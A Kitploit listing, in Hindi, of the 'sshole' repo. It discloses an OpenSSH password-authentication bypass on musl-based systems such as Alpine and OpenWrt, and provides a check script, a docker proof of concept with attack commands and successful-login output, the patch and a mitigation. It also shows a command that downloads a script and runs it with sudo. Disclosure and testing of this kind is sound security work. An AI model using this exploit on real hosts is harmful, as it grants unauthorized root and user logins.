Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
sshole — musl पर openssh ने 2016 से उन खातों के लिए 257+ वर्णों का कोई भी पासवर्ड स्वीकार किया जिनका कोई पासवर्ड नहीं था। check.sh, poc, patch। | Kitploit
उपकरण/GitHubGitHub/oz9un/sshole
भेद्यता विश्लेषणशोषणसुरक्षा वर्चुअलाइजेशनप्रमाणीकरणलैब और अभ्यास
GitHuboz9un/sshole

sshole

musl पर openssh ने 2016 से उन खातों के लिए 257+ वर्णों का कोई भी पासवर्ड स्वीकार किया जिनका कोई पासवर्ड नहीं था। check.sh, poc, patch।

रिपॉजिटरी देखें
1049271 दिन पहलेअभी तक समीक्षित नहीं
वेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

*sshole

musl linux (alpine, openwrt, buildroot, yocto) पर openssh आपको किसी भी ऐसे अकाउंट में लॉग इन करने देता है जिसका पासवर्ड * है, बशर्ते आप 256 अक्षरों से लंबा कोई भी पासवर्ड डालें। इसका मतलब है root, key-only उपयोगकर्ता, ldap उपयोगकर्ता, alpine की cloud images पर मौजूद alpine उपयोगकर्ता। 2016 से।

पूरी कहानी sshhole.com पर है। इस रेपो में अपनी मशीन जाँचने की स्क्रिप्ट, खुद आज़माने के लिए docker सेटअप, और पैच मौजूद है।

2026-11-05 को openssh 10.6p2 में ठीक किया गया। alpine पैकेज उपलब्ध हैं।

क्या मैं एक *sshole हूँ?

curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc                         musl
sshd                         OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam                          off (not built in)
PasswordAuthentication       yes
accounts with '*'            root alice deploy
sha-crypt hash present       yes (bob)

EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.

आप केवल तभी उजागर होते हैं जब ये सभी सत्य हों। यदि आप नहीं हैं तो स्क्रिप्ट आपको बताती है कि कौन सा गायब है:

  • सिस्टम musl का उपयोग करता है (alpine, openwrt, buildroot, yocto, postmarketos, void-musl, chimera)
  • sshd को pam के बिना बनाया गया है। alpine का सामान्य openssh-server पैकेज ऐसा ही है। UsePAM yes के साथ openssh-server-pam सुरक्षित है
  • sshd_config में PasswordAuthentication yes (यह डिफ़ॉल्ट है)
  • कम से कम एक खाते का पासवर्ड फ़ील्ड ठीक * है
  • कम से कम एक खाते में वास्तविक $5$ या $6$ पासवर्ड हैश है (किसी ने, किसी भी व्यक्ति ने, passwd चलाया)

glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos: प्रभावित नहीं। आप पढ़ना बंद कर सकते हैं।

इसे पुनरुत्पादित करें

आपको docker की आवश्यकता है। यह openssh-server और डिफ़ॉल्ट कॉन्फ़िग के साथ एक सामान्य alpine 3.24 बनाता है। alice के पास * है, bob के पास वास्तविक पासवर्ड है।

cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole

./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice

दो प्रॉम्प्ट। पहला कोई भी, दूसरा 300 x A। यही एक्सप्लॉइट है।

अगर PermitRootLogin yes सेट है तो root भी काम करता है:

docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root

attack.py paramiko के साथ वही काम करता है और आपको पासवर्ड की लंबाई चुनने देता है, ताकि आप देख सकें कि 256 विफल होता है और 257 काम करता है:

pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256     # rejected
python3 attack.py 127.0.0.1 2222 alice 257     # logged in

पुराने alpine संस्करणों के लिए: docker build --build-arg BASE=alpine:3.21 -t sshhole . यह कम से कम 3.18 तक काम करता है। हमने जो सबसे पुराना आज़माया वह 2017 से musl 1.1.16 पर openssh 7.5p1 था, और वहाँ भी यह काम कर गया।

patch

patch/4353fdc43-avoid-password-authn-bypass.patch अपस्ट्रीम फ़िक्स है, बिना किसी बदलाव के, ताकि आप इसे किसी पुराने संस्करण पर लागू कर सकें। यह 7.3p1 से ऊपर किसी भी संस्करण पर काम करता है। यह sshd को तब तुलना छोड़ने पर मजबूर करता है जब संग्रहीत फ़ील्ड वास्तविक हैश होने के लिए बहुत छोटा हो, और यह libc के स्टैटिक बफ़र में पॉइंटर का उपयोग करना भी बंद कर देता है।

यदि आप अभी अपडेट नहीं कर सकते, तो sshd_config में PasswordAuthentication no सेट करें। यह इसे पूरी तरह बंद कर देता है।

यह कैसे काम करता है, छह पंक्तियों में

pw_password = "*"                          # alice has no password
salt = NULL                                # "*" is too short to be a salt
salt = pick_salt()                         # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$")       # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0             # "*" == "*"
return 1                                   # welcome, alice

sshd ने 90 के दशक से * के विरुद्ध इस तरह तुलना की है। musl ने 2012 में विफलता पर * लौटाना शुरू किया। sshd ने 2016 में अन्य खातों के salts का उपयोग करना शुरू किया। timeline देखें।

यहाँ नहीं

पूरा परीक्षण सेटअप (17 वातावरण: qemu में क्लाउड इमेज, openwrt, buildroot, ldap और ad उपयोगकर्ता, इत्यादि), प्रसार संख्याएँ और प्रति-डिस्ट्रो तालिका write-up में हैं। वे बाद में प्रकाशित हो सकते हैं। यह रेपो जानबूझकर छोटा है।

mit लाइसेंस।

टूल डाउनलोड करें